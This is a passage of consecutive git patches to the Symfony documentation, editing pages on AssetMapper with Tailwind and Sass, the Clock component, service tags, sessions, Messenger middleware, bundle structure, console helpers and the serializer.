-Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
-First, install the ``tailwindcss`` binary. This can be installed via npm (run
-``npm --init`` if you don't already have a ``package.json`` file):
-
-.. code-block:: terminal
-
-    $ npm install -D tailwindcss
-
-Or you can install the `Tailwind standalone binary`_, which does not require Node.
-
-Next, generate the ``tailwind.config.js`` file:
-
-.. code-block:: terminal
-
-    $ npx tailwindcss init
-
-    # or with the standalone binary:
-    $ ./tailwindcss init
-
-Update ``tailwind.config.js`` to point to your template and JavaScript files:
-
-.. code-block:: diff
-
-    // tailwind.config.js
-    // ....
-
-    -   content: [],
-    +   content: [
-    +       "./assets/**/*.js",
-    +       "./templates/**/*.html.twig",
-    +   ],
-
-Then add the base lines to your ``assets/styles/app.css`` file:
-
-.. code-block:: css
-
-    /* assets/styles/app.css */
-    @tailwind base;
-    @tailwind components;
-    @tailwind utilities;
-
-Now that Tailwind is setup, run the ``tailwindcss`` binary in "watch" mode
-to build the CSS file to a new ``assets/app.built.css`` path:
-
-.. code-block:: terminal
-
-    $ npx tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
-
-    # or with the standalone binary:
-    $ ./tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
-
-Finally, instead of pointing directly to ``styles/app.css`` in your template,
-point to the new ``styles/app.built.css`` file:
-
-.. code-block:: diff
-
-    {# templates/base.html.twig #}
-
-    - <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-    + <link rel="stylesheet" href="{{ asset('styles/app.built.css') }}">
-
-Done! You can choose to ignore the ``assets/styles/app.built.css`` file from Git
-or commit it to ease deployment.
+To use the `Tailwind`_ CSS framework with the AssetMapper component, check out
+`symfonycasts/tailwind-bundle`_.
 
 .. _asset-mapper-sass:
 
 Using Sass
 ----------
 
-To use Sass with the AssetMapper component, install the sass binary. You can
-`download it from the latest GitHub release`_ (does not require Node) or
-install it via npm:
-
-.. code-block:: terminal
-
-    $ npm install -D dart-sass
-
-Next, create an ``assets/styles/app.scss`` file and write some dazzling CSS:
-
-.. code-block:: scss
-
-    /* assets/styles/app.scss */
-    $primary-color: skyblue;
-
-    body {
-        background: $primary-color;
-    }
-
-Then, run the ``dart-sass`` binary in "watch" mode to build the CSS file to a
-new ``assets/styles/app.css`` path:
-
-.. code-block:: terminal
-
-    $ npx dart-sass assets/styles/app.scss assets/styles/app.css --watch
-
-    # or with the standalone binary:
-    ./sass assets/styles/app.scss assets/styles/app.css --watch
-
-In your template, point directly to the ``styles/app.css`` file (``base.html.twig``
-points to ``styles/app.css`` by default):
-
-.. code-block:: html+twig
-
-    {# templates/base.html.twig #}
-    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
-
-Done! You can choose to ignore the ``assets/styles/app.css`` file from Git
-or commit it to ease deployment. To prevent the source ``.scss`` files from being
-exposed to the public, see :ref:`exclude_patterns <excluded_patterns>`.
+To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_.
 
 Third-Party Bundles & Custom Asset Paths
 ----------------------------------------
@@ -1152,9 +1047,8 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
 .. _Lighthouse: https://developers.google.com/web/tools/lighthouse
 .. _Tailwind: https://tailwindcss.com/
-.. _Tailwind standalone binary: https://tailwindcss.com/blog/standalone-cli
-.. _download it from the latest GitHub release: https://github.com/sass/dart-sass/releases/latest
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
 .. _Cloudflare: https://www.cloudflare.com/
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
-.. _symfonycasts/tailwind-bundle: https://github.com/SymfonyCasts/tailwind-bundle
+.. _symfonycasts/tailwind-bundle: https://symfony.com/bundles/TailwindBundle/current/index.html
+.. _symfonycasts/sass-bundle: https://symfony.com/bundles/SassBundle/current/index.html

From 64072c43208b515af25fb3b0c1ea975cb23500f6 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Tue, 5 Sep 2023 09:23:48 -0400
Subject: [PATCH 5115/7107] Title & link fixes for frontend

---
 frontend.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 0bb75effffe..53999ad03bc 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -1,5 +1,5 @@
-Introduction
-============
+Front-end Tools: Handling CSS & JavaScript
+==========================================
 
 Symfony gives you the flexibility to choose any front-end tools you want. This could
 be dead-simple - like putting CSS & JS directly in the ``public/`` directory - or
@@ -25,14 +25,11 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes :ref:`[1] <note-1>`
-Supports TypeScript               yes                no :ref:`[1] <note-1>`
+Supports React, Vue, Svelte?      yes                yes :ref:`[1] <ux-note-1>`
+Supports TypeScript               yes                no :ref:`[1] <ux-note-1>`
 ================================  =================  ======================================================
 
-Notes
-~~~~~
-
-.. _note-1:
+.. _ux-note-1:
 
 **[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
 need to use their native tools for pre-compilation. Also, some features (like

From b760576b1cfe9377dcbf4fcf9658282dbe6c51dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 16:01:21 +0200
Subject: [PATCH 5116/7107] Tweaks

---
 components/clock.rst | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 3ab6f495fba..e098dc6a3b1 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -268,12 +268,10 @@ control on your time-sensitive code's behavior.
 Exceptions Management
 ---------------------
 
-The Clock component takes full advantage of `the new DateTime exceptions`_
-introduced in PHP 8.3: ``DateMalformedStringException`` and
-``DateInvalidTimeZoneException``. These exceptions will be thrown
-respectively when a invalid string is passed to a clock (e.g. when
-creating a clock or modifying a ``MockClock``) and when an invalid timezone is
-used::
+The Clock component takes full advantage of some `PHP DateTime exceptions`_.
+If you pass an invalid string to the clock (e.g. when creating a clock or
+modifying a ``MockClock``) you'll get a ``DateMalformedStringException``. If you
+pass an invalid timezone, you'll get a ``DateInvalidTimeZoneException``::
 
     $userInput = 'invalid timezone';
 
@@ -283,9 +281,9 @@ used::
         // ...
     }
 
-Thanks to the `symfony/polyfill-php83`_ dependency required by the Clock
-component, you don't even need to run PHP 8.3 to enjoy these new explicit
-and consistent exceptions when using the Clock component.
+These exceptions are available starting from PHP 8.3. However, thanks to the
+`symfony/polyfill-php83`_ dependency required by the Clock component, you can
+use them even if your project doesn't use PHP 8.3 yet.
 
 .. versionadded:: 6.4
 
@@ -294,5 +292,5 @@ and consistent exceptions when using the Clock component.
 
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
-.. _`the new DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
+.. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
 .. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83

From bedfda03ff68cb74d6bdf563026d2c4ad08e63a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 17:17:31 +0200
Subject: [PATCH 5117/7107] Tweak

---
 service_container/tags.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 5446a5aed16..6f85af4a945 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,8 +214,8 @@ method::
         }
     }
 
-To go even further, the ``SensitiveElement`` attribute can be updated to be
-usable on methods::
+You can also make attributes usable on methods. To do so, update the previous
+example and add ``Attribute::TARGET_METHOD`::
 
     // src/Attribute/SensitiveElement.php
     namespace App\Attribute;
@@ -226,9 +226,8 @@ usable on methods::
         // ...
     }
 
-We should now update the call to
-:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
-to support ``ReflectionMethod``::
+Then, update the :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+call to support ``ReflectionMethod``::
 
     // src/Kernel.php
     use App\Attribute\SensitiveElement;
@@ -244,7 +243,7 @@ to support ``ReflectionMethod``::
             $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (
                 ChildDefinition $definition,
                 SensitiveElement $attribute,
-                // we update the union type to support multiple type of reflection
+                // update the union type to support multiple types of reflection
                 // you can also use the "\Reflector" interface
                 \ReflectionClass|\ReflectionMethod $reflector): void {
                     if ($reflection instanceof \ReflectionMethod) {
@@ -258,7 +257,7 @@ to support ``ReflectionMethod``::
 .. tip::
 
     You can also define an attribute to be usable on properties and parameters with
-    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``, then support
+    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``; then support
     ``ReflectionProperty`` and ``ReflectionParameter`` in your
     :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
     callable.

From c1f88e64444d11f1fbb4f825fe031c9406e201b6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 5 Sep 2023 20:47:43 +0200
Subject: [PATCH 5118/7107] Document session cookie in response

---
 session.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/session.rst b/session.rst
index 25e4c7135a8..1a4d26d767c 100644
--- a/session.rst
+++ b/session.rst
@@ -403,6 +403,13 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
+Session cookie is available in the ``Response`` object. It's useful in the CLI context
+or php runtime with runners like Roadrunner or Swoole.
+
+.. versionadded:: 5.4
+
+    Accessing to the session cookie in the ``Response`` object was introduced in Symfony 5.4.
+
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 001da1545e8bb615d8890bcfe271fd14315adc7e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 5 Sep 2023 21:08:01 +0200
Subject: [PATCH 5119/7107] Document middleware to log when transaction has
 been left open

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b3840f77344..2ef0e916604 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2441,6 +2441,10 @@ may want to use:
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
+                            # Log an error when a Doctrine transaction was opened but
+                            # did not closed
+                            - doctrine_open_transaction_logger
+
                             # or pass a different entity manager to any
                             #- doctrine_transaction: ['custom']
 
@@ -2462,6 +2466,7 @@ may want to use:
                         <framework:middleware id="doctrine_transaction"/>
                         <framework:middleware id="doctrine_ping_connection"/>
                         <framework:middleware id="doctrine_close_connection"/>
+                        <framework:middleware id="doctrine_open_transaction_logger"/>
 
                         <!-- or pass a different entity manager to any -->
                         <!--
@@ -2486,6 +2491,7 @@ may want to use:
             $bus->middleware()->id('doctrine_transaction');
             $bus->middleware()->id('doctrine_ping_connection');
             $bus->middleware()->id('doctrine_close_connection');
+            $bus->middleware()->id('doctrine_open_transaction_logger');
             // Using another entity manager
             $bus->middleware()->id('doctrine_transaction')
                 ->arguments(['custom']);

From 549bbe29e19ffcd311399155a6bb3c0a9e410db1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 6 Sep 2023 12:54:16 +0200
Subject: [PATCH 5120/7107] [Best Practices] Update directory structure

---
 bundles/best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e622cfd243f..f5f2a0c32a1 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -63,6 +63,7 @@ The following is the recommended directory structure of an AcmeBlogBundle:
 .. code-block:: text
 
     <your-bundle>/
+    ├── assets/
     ├── config/
     ├── docs/
     │   └─ index.md
@@ -122,6 +123,7 @@ Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
+Web Assets not meant to be publicly available        ``assets/``
 Translation files                                    ``translations/``
 Validation (when not using annotations)              ``config/validation/``
 Serialization (when not using annotations)           ``config/serialization/``

From f586a3c36aaf6a31c30ec0354e4e12846e16b938 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 13:00:45 +0200
Subject: [PATCH 5121/7107] Tweaks

---
 messenger.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2ef0e916604..3584db083bd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2441,8 +2441,7 @@ may want to use:
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
-                            # Log an error when a Doctrine transaction was opened but
-                            # did not closed
+                            # logs an error when a Doctrine transaction was opened but not closed
                             - doctrine_open_transaction_logger
 
                             # or pass a different entity manager to any
@@ -2497,6 +2496,10 @@ may want to use:
                 ->arguments(['custom']);
         };
 
+.. versionadded:: 5.4
+
+    The ``doctrine_open_transaction_logger`` middleware was introduced in Symfony 5.4.
+
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 

From 0ed7e9a07a7b9847b467fee361e52fe7e34b9257 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 13:01:39 +0200
Subject: [PATCH 5122/7107] Remove a versionadded directive

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 74d0a90ed52..9e087d2cdfe 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2451,10 +2451,6 @@ may want to use:
                 ->arguments(['custom']);
         };
 
-.. versionadded:: 5.4
-
-    The ``doctrine_open_transaction_logger`` middleware was introduced in Symfony 5.4.
-
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 

From 3729e295da2d1950a6dea73611a73ef6725fee7e Mon Sep 17 00:00:00 2001
From: damien-louis <72412142+damien-louis@users.noreply.github.com>
Date: Wed, 6 Sep 2023 09:33:48 +0200
Subject: [PATCH 5123/7107] Update overview.rst

---
 contributing/documentation/overview.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 90e2a109419..4bc8a818bad 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -21,18 +21,19 @@ If you're making a relatively small change - like fixing a typo or rewording
 something - the easiest way to contribute is directly on GitHub! You can do this
 while you're reading the Symfony documentation.
 
-**Step 1.** Click on the **edit this page** button on the upper right corner
+**Step 1.** Click on the **edit this page** button on the top of the page
 and you'll be redirected to GitHub:
 
 .. image:: /_images/contributing/docs-github-edit-page.png
     :alt: The "Edit this page" button is located directly below the first heading.
     :class: with-browser
 
-**Step 2.** Edit the contents, describe your changes and click on the
-**Propose file change** button.
+**Step 2.** If this is your first contribution, you have to fork the repository.
+Then, edit the contents, preview your changes (with the button at the top left)
+and click on the **Commit changes...** button. In the popup, describe your changes
+and click on **Propose changes** button.
 
-**Step 3.** GitHub will now create a branch and a commit for your changes
-(forking the repository first if this is your first contribution) and it will
+**Step 3.** GitHub will now create a branch and a commit for your changes and it will
 also display a preview of your changes:
 
 .. image:: /_images/contributing/docs-github-create-pr.png

From 794d304fe931b3ddbe6fc4d2a1a7c22f809a4842 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 14:49:25 +0200
Subject: [PATCH 5124/7107] Tweaks

---
 session.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index 1a4d26d767c..18b28165ca8 100644
--- a/session.rst
+++ b/session.rst
@@ -403,12 +403,14 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
-Session cookie is available in the ``Response`` object. It's useful in the CLI context
-or php runtime with runners like Roadrunner or Swoole.
+The session cookie is also available in :ref:`the Response object <component-http-foundation-response>`.
+This is useful to get that cookie in the CLI context or when using PHP runners
+like Roadrunner or Swoole.
 
 .. versionadded:: 5.4
 
-    Accessing to the session cookie in the ``Response`` object was introduced in Symfony 5.4.
+    Accessing to the session cookie in the ``Response`` object was introduced
+    in Symfony 5.4.
 
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 13e9f31722091677188202303221542c989e73a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 15:23:11 +0200
Subject: [PATCH 5125/7107] Tweaks

---
 bundles.rst                | 8 ++++----
 bundles/best_practices.rst | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 34b6e644d46..918ed20d647 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -84,7 +84,7 @@ between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
 ``Controller/``
-    Contains the controllers of the bundle (e.g. ``RandomController.php``).
+    the controllers of the bundle (e.g. ``RandomController.php``).
 
 ``DependencyInjection/``
     Holds certain Dependency Injection Extension classes, which may import service
@@ -98,9 +98,9 @@ to be adjusted if needed:
     Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
 
 ``Resources/public/``
-    Contains web assets (images, stylesheets, etc) and is copied or symbolically
-    linked into the project ``public/`` directory via the ``assets:install`` console
-    command.
+    Contains web assets (images, compiled CSS nad JavaScript files, etc.) and is
+    copied or symbolically linked into the project ``public/`` directory via the
+    ``assets:install`` console command.
 
 ``Tests/``
     Holds all tests for the bundle.
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f5f2a0c32a1..82aa3d9415b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -122,8 +122,8 @@ Doctrine ORM entities                                ``src/Entity/``
 Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
-Web Assets (CSS, JS, images)                         ``public/``
-Web Assets not meant to be publicly available        ``assets/``
+Web Assets (compiled CSS and JS, images)             ``public/``
+Web Asset sources (``.scss``, ``.ts``, Stimulus)     ``assets/``
 Translation files                                    ``translations/``
 Validation (when not using annotations)              ``config/validation/``
 Serialization (when not using annotations)           ``config/serialization/``

From 4a1f34a579d7484860c48f8bea55f6817fb32915 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 15:29:11 +0200
Subject: [PATCH 5126/7107] Fix typo

---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 918ed20d647..dba4b30e441 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -98,7 +98,7 @@ to be adjusted if needed:
     Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
 
 ``Resources/public/``
-    Contains web assets (images, compiled CSS nad JavaScript files, etc.) and is
+    Contains web assets (images, compiled CSS and JavaScript files, etc.) and is
     copied or symbolically linked into the project ``public/`` directory via the
     ``assets:install`` console command.
 

From d5b5877a49dbf7477660a6992bb67d7987f8192b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 6 Sep 2023 15:36:57 +0200
Subject: [PATCH 5127/7107] [Command] Helpers uses `stderr` by default

---
 components/console/helpers/processhelper.rst  | 8 ++++++++
 components/console/helpers/progressbar.rst    | 8 ++++++++
 components/console/helpers/questionhelper.rst | 8 ++++++++
 3 files changed, 24 insertions(+)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index f4c2ed93756..875b48ab3f8 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -31,6 +31,14 @@ In case the process fails, debugging is easier:
 .. image:: /_images/components/console/process-helper-error-debug.png
     :alt: The last line shows "RES 127 Command dit not run successfully", and the output lines show more the error information from the command.
 
+.. note::
+
+    By default, the process helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :method:`Symfony\\Component\\Console\\Helper\\ProcessHelper::run`
+    method.
+
 Arguments
 ---------
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index fa1052d5c1f..827ce1973dd 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -44,6 +44,14 @@ number of units, and advance the progress as the command executes::
     ``$progress->advance()`` with a negative value. For example, if you call
     ``$progress->advance(-2)`` then it will regress the progress bar 2 steps.
 
+.. note::
+
+    By default, the progress bar helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    constructor.
+
 Instead of advancing the bar by a number of steps (with the
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::advance` method),
 you can also set the current progress by calling the
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 07cc75877b5..7a78688e259 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -72,6 +72,14 @@ the second argument is not provided, ``true`` is assumed.
 
     The regex defaults to ``/^y/i``.
 
+.. note::
+
+    By default, the question helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask`
+    method.
+
 Asking the User for Information
 -------------------------------
 

From 23d2d418dd970b06148015bca04bc95946d1a187 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Thu, 2 Feb 2023 14:40:43 +0100
Subject: [PATCH 5128/7107] [Messenger] Mention passing arguments to abstract
 definition

---
 messenger.rst | 37 ++++++++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3584db083bd..db7e186fe9e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2343,7 +2343,10 @@ a message is received via the worker (for messages that were sent to a transport
 to be handled asynchronously). Keep this in mind if you create your own middleware.
 
 You can add your own middleware to this list, or completely disable the default
-middleware and *only* include your own:
+middleware and *only* include your own.
+
+If a middleware service is abstract, you can configure its constructor's arguments.
+A different instance will be created per bus.
 
 .. configuration-block::
 
@@ -2357,9 +2360,11 @@ middleware and *only* include your own:
                         # disable the default middleware
                         default_middleware: false
 
-                        # and/or add your own
                         middleware:
-                            # service ids that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
+                            # use and configure parts of the default middleware you want
+                            - 'add_bus_name_stamp_middleware': ['messenger.bus.default']
+
+                            # add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 
@@ -2379,11 +2384,17 @@ middleware and *only* include your own:
             <framework:config>
                 <framework:messenger>
                     <!-- default-middleware: disable the default middleware -->
-                    <framework:bus name="messenger.bus.default" default-middleware="false"/>
+                    <framework:bus name="messenger.bus.default" default-middleware="false">
 
-                    <!-- and/or add your own -->
-                    <framework:middleware id="App\Middleware\MyMiddleware"/>
-                    <framework:middleware id="App\Middleware\AnotherMiddleware"/>
+                        <!-- use and configure parts of the default middleware you want -->
+                        <framework:middleware id="add_bus_name_stamp_middleware">
+                            <framework:argument>messenger.bus.default</framework:argument>
+                        </framework:middleware>
+
+                        <!-- add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface -->
+                        <framework:middleware id="App\Middleware\MyMiddleware"/>
+                        <framework:middleware id="App\Middleware\AnotherMiddleware"/>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
@@ -2397,16 +2408,16 @@ middleware and *only* include your own:
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('messenger.bus.default')
-                ->defaultMiddleware(false);
+                ->defaultMiddleware(false); // disable the default middleware
+
+            // use and configure parts of the default middleware you want
+            $bus->middleware()->id('add_bus_name_stamp_middleware')->arguments(['messenger.bus.default']);
+
+            // add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
             $bus->middleware()->id('App\Middleware\MyMiddleware');
             $bus->middleware()->id('App\Middleware\AnotherMiddleware');
         };
 
-.. note::
-
-    If a middleware service is abstract, a different instance of the service will
-    be created per bus.
-
 .. _middleware-doctrine:
 
 Middleware for Doctrine

From c7e07102325ab289cc21fed2c9f8f6bf1ec4b9ac Mon Sep 17 00:00:00 2001
From: Mathieu <math.lechat@gmail.com>
Date: Fri, 3 Feb 2023 11:30:20 +0100
Subject: [PATCH 5129/7107] Update messenger.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index db7e186fe9e..d129d0f13e2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2345,8 +2345,8 @@ to be handled asynchronously). Keep this in mind if you create your own middlewa
 You can add your own middleware to this list, or completely disable the default
 middleware and *only* include your own.
 
-If a middleware service is abstract, you can configure its constructor's arguments.
-A different instance will be created per bus.
+If a middleware service is abstract, you can configure its constructor's arguments
+and a different instance will be created per bus.
 
 .. configuration-block::
 

From dc2d0481cdfc652d0fc54f34311bc29c95e3be0f Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Wed, 24 May 2023 18:23:09 +0200
Subject: [PATCH 5130/7107] [DependencyInjection] Warns `instanceof` should be
 called before services registration

---
 service_container/tags.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6f85af4a945..0cb8974b8d1 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -113,6 +113,11 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
+.. caution::
+
+    If you're using PHP, you need to call ``instanceof`` before any service
+    registration to make sure tags are correctly applied.
+
 It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
 base class or interface::
 

From 80a251025605c69356a340679d17e4da0529f26d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 17:15:38 +0200
Subject: [PATCH 5131/7107] Tweak

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0cb8974b8d1..92303bcd40b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -115,8 +115,8 @@ If you want to apply tags automatically for your own services, use the
 
 .. caution::
 
-    If you're using PHP, you need to call ``instanceof`` before any service
-    registration to make sure tags are correctly applied.
+    If you're using PHP configuration, you need to call ``instanceof`` before
+    any service registration to make sure tags are correctly applied.
 
 It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
 base class or interface::

From a3609cc387c932eb0bd5a2cd0fb82b003ecd6a39 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Sep 2023 09:24:57 +0200
Subject: [PATCH 5132/7107] [Serializer] Remove abstract uid denormalization

---
 components/serializer.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2826a6773d4..745f6d52bce 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -873,7 +873,7 @@ The Serializer component provides several built-in normalizers:
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that implement
+    This normalizer converts objects that extends
     :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
     The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
     is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
@@ -886,6 +886,11 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
+    .. deprecated:: 6.1
+
+        Trying to denormalize to the ``AbstractUid`` class is deprecated since
+        Symfony 6.1, a subclass of ``AbstractUid`` must be used instead.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at

From c7638694054d0b7752b8dcfb6e90ad9f942272cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Sep 2023 09:29:00 +0200
Subject: [PATCH 5133/7107] [Session] Remove old versionadded

---
 session.rst | 5 -----
 1 file changed, 5 deletions(-)

